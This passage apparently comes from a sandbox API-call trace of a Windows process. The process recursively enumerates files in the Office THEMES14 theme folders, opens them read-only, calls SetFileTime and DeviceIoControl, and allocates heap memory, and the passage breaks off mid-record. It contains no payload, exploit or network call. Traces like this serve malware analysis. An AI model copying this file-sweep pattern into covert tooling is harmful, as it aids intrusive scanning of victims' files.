ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0242.287] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.287] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.287] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.287] GetLastError () returned 0x12 [0242.287] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.287] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.287] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.287] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.287] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0242.287] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0242.301] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.301] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x91ba30 [0242.301] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x91ba30, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x91ba30, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.301] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91ba30) returned 1 [0242.301] NtClose (Handle=0x1b0) returned 0x0 [0242.301] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.301] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.301] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.302] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.302] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0242.302] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.302] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0242.302] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.302] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.302] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.302] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.302] GetLastError () returned 0x12 [0242.302] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.302] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.302] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.302] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.302] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0242.302] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0242.302] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.302] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.302] GetLastError () returned 0x12 [0242.302] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.302] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0242.302] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.303] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0242.318] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x91ba30 [0242.318] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x91ba30, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x91ba30, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.318] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91ba30) returned 1 [0242.318] NtClose (Handle=0x1bc) returned 0x0 [0242.318] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.318] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.318] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.318] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.318] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913aa0 [0242.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91a1f8 [0242.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.319] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0242.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913ac0 [0242.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91a0f0 [0242.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.319] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0242.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913ae0 [0242.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91a720 [0242.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.319] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.320] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.320] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913b00 [0242.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91a828 [0242.320] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.320] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.320] GetLastError () returned 0x12 [0242.320] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.320] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.320] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.320] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.320] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0242.320] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0242.320] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.320] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.320] GetLastError () returned 0x12 [0242.320] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.320] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.320] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.321] RtlFreeHeap 